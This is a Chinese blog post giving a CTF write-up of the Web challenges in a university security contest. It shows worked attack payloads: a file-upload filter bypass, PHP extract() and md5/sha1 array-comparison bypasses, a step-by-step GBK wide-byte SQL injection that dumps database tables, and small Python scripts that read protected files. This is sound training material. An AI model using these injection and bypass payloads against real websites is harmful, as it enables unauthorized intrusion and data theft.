风云杯大学生信安大赛(Web部分题解)

PS:菜鸟一枚,只做出了8题,第8题没思路,好吧,密码学没学好。。。还是坐等大神们的wp吧。


WEB01

http://139.129.166.67/4t56ysgh6h7u/
答案格式:仅输入{ }花括号中的内容
分值 50
本题考查的是正则表达式

页面源码:

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IsMatch ){ 
  die('key: '.$key);
}
?>

本地构造id测试通过后提交得到key
http://139.129.166.67/4t56ysgh6h7u/index.php?id=key123key12345key:/a/aakeya;

key: KEY{079b0c5ac8fa6b5e7a6855eeee622w1d11dbe80afc}

WEB02

http://139.129.166.67/fgrtgha45y6/fileupload.php
答案格式:仅输入{ }花括号中的内容
分值 100
本题考查的是上传绕过


不能上传马,否则禁IP
(可怜我后面的题全得上代理。。。)
burpsuite发送post包
1. 文件名后缀.php5
2. 修改表单属性Content-Type: image/jpeg
3. 修改表单属性Content-Type: Multipart/form-data;

这里写图片描述

WEB03

题目:
http://139.129.166.67/gth56u778i8/
答案格式:仅输入{ }花括号中的内容
分值 100

提示:php黑魔法

页面源代码:

<?php
extract($_GET);
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";

echo "<p>Congratulation.Key is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

这道题有很多解法,我用的是php输入流

这里写图片描述

Hello: text!?
Congratulation.Key is: key{a643cfb7a9066fc0derdgt315f34117bd0ce}

WEB04

http://139.129.166.67/45y6ehtwht65/
答案格式:仅输入{ }花括号中的内容
分值 150

这题也是php黑魔法

访问:
http://139.129.166.67/45y6ehtwht65/index.php
返回:
Post your username and your password.

使用burpsuite发送post数据,并将Cookie中的user值修改为:YWRtaW4=
即admin的base64编码,原本是guest的base64编码Z3Vlc3Q=

以下为post数据和返回结果:

username=YWRtaW4%3D&password=YWRtaW4%3D

Post your username and your password.Your password can not be your username.

username和password不能一样

username=YWRtaW4%3D&password[]=1

Post your username and your password.md5(username) == md5(password) should be true!

要求md5后相等,直接构造数组即可

username[]=2&password[]=1

Post your username and your password.Flag: KEY{8666aaffad84355555f605a97f24aee4654c5}

WEB05

http://139.129.166.67/5677ui8ifgs/
答案格式:仅输入{ }花括号中的内容
提示:临时文件

还是php黑魔法。。。

访问临时文件:
http://139.129.166.67/5677ui8ifgs/index.php~
页面源码:

<?php
$_GET['myid'] = urldecode($_GET['myid']);
$flag = 'xxxxxxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_POST['password'])) {

if ($_GET['name'] == $_POST['password'])

print 'Your password can not be your name.';

else if (sha1($_GET['name']) === sha1($_POST['password'])&($_GET['myid']=='anyun'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

http://139.129.166.67/5677ui8ifgs/index.php?myid=anyun&name[]=1

post data: password[]=2

Flag: KEY{f3ac63c91272f19ce97c7397825cc15f}

web4和web5差不多的。。。

WEB06

题目:

http://139.129.166.67/5t5y6huj7j7/

答案格式:仅输入{ }花括号中的内容

本题考查手工注入

访问返回:
key in the database

在返回包里看到charset=gbk
不用多想,直接就是宽字符注入了

http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27

http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 or 1=1%23

http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,2%23

http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(user(),0x7c,version(),0x7c,database())%23

shadow@localhost|5.1.73|test

http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

article,flag

http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23

id,thisisflag

http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(id,0x7c,thisisflag) from flag%23

1|KEY{c67gf8a8ed45b7f4rtyjfc4d23eb9b4591c}

WEB07

http://139.129.166.67/gthyj67r/

答案格式:仅输入{ }花括号中的内容

本题考查的是网络编程

在源码中看到:
Please faster!!!<!– OK , you should post the anyun what you find –>

在响应头信息中有一个flag,是用base64编码过的
我们要做的就是把这个flag解码后提交

其实这道题并不难,细心一点就可以做出来了

写个python脚本搞定

import requests
import base64

url = 'http://139.129.166.67/gthyj67r/index.php'

s = requests.session()

s.proxies = {'http': 'http://180.162.229.150:8118'}

req = s.get(url)

_cookie=req.cookies

header = req.headers['flag']

flag = base64.b64decode(header)[14:]

flag = base64.b64decode(flag)

data = {'anyun': flag}

res = s.post(url,data,cookies=_cookie)

print res.content

很多人都会返回以下语句:

I said do faster
Please faster!!!<!– OK , you should post the anyun what you find –>

出现这个问题的原因就是只base64解码了一次,其实这里要将flag解码两次,只是很多人都没有发现而已。。。

解码两次后,即可得到key:

KEY{7379111111dd62fc5a2d377076b453e18a}

WEB09

http://139.129.166.67/sefrgtafgr/

访问链接会跳转到:
http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==

然后一看这个url后面的参数,顿时觉得眼熟啊,但就是想不起来在哪里做过了,看看是不是同样的思路先。

访问url:
http://139.129.166.67/sefrgtafgr/index.php?line=1&file=aW5kZXgucGhw

返回:
error_reporting(0);

这。。。简直就是照搬过来的题呀。。。一模一样。。。

修改line参数的值,会发现返回的是php文件的代码

写个python脚本来获取该php文件的内容

import requests
url  = 'http://139.129.166.67/sefrgtafgr/index.php?line='
part = '&file=aW5kZXgucGhw'

s = requests.session()

for i in range(1,19):
    res = s.get(url+str(i)+part)
    print res.content

获取到php文件的内容:

error_reporting(0);

$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");

$file_list = array(

'0' =>'key.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){

$file_list[2]='thisis_key.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

分析源码后,添加cookie值和构造url得到key
添加Cookie: key=an_yun_tec
构造url:http://139.129.166.67/sefrgtafgr/index.php?line=&file=dGhpc2lzX2tleS5waHA=

< ?php $key=’KEY{key_anyuntec_co0kies}’; ?>

>_<菜鸟只会做到这里了,剩下第8题只能等大神的wp了。。。

发布了25 篇原创文章 · 获赞 13 · 访问量 12万+

猜你喜欢

转载自blog.csdn.net/a200710716/article/details/51416801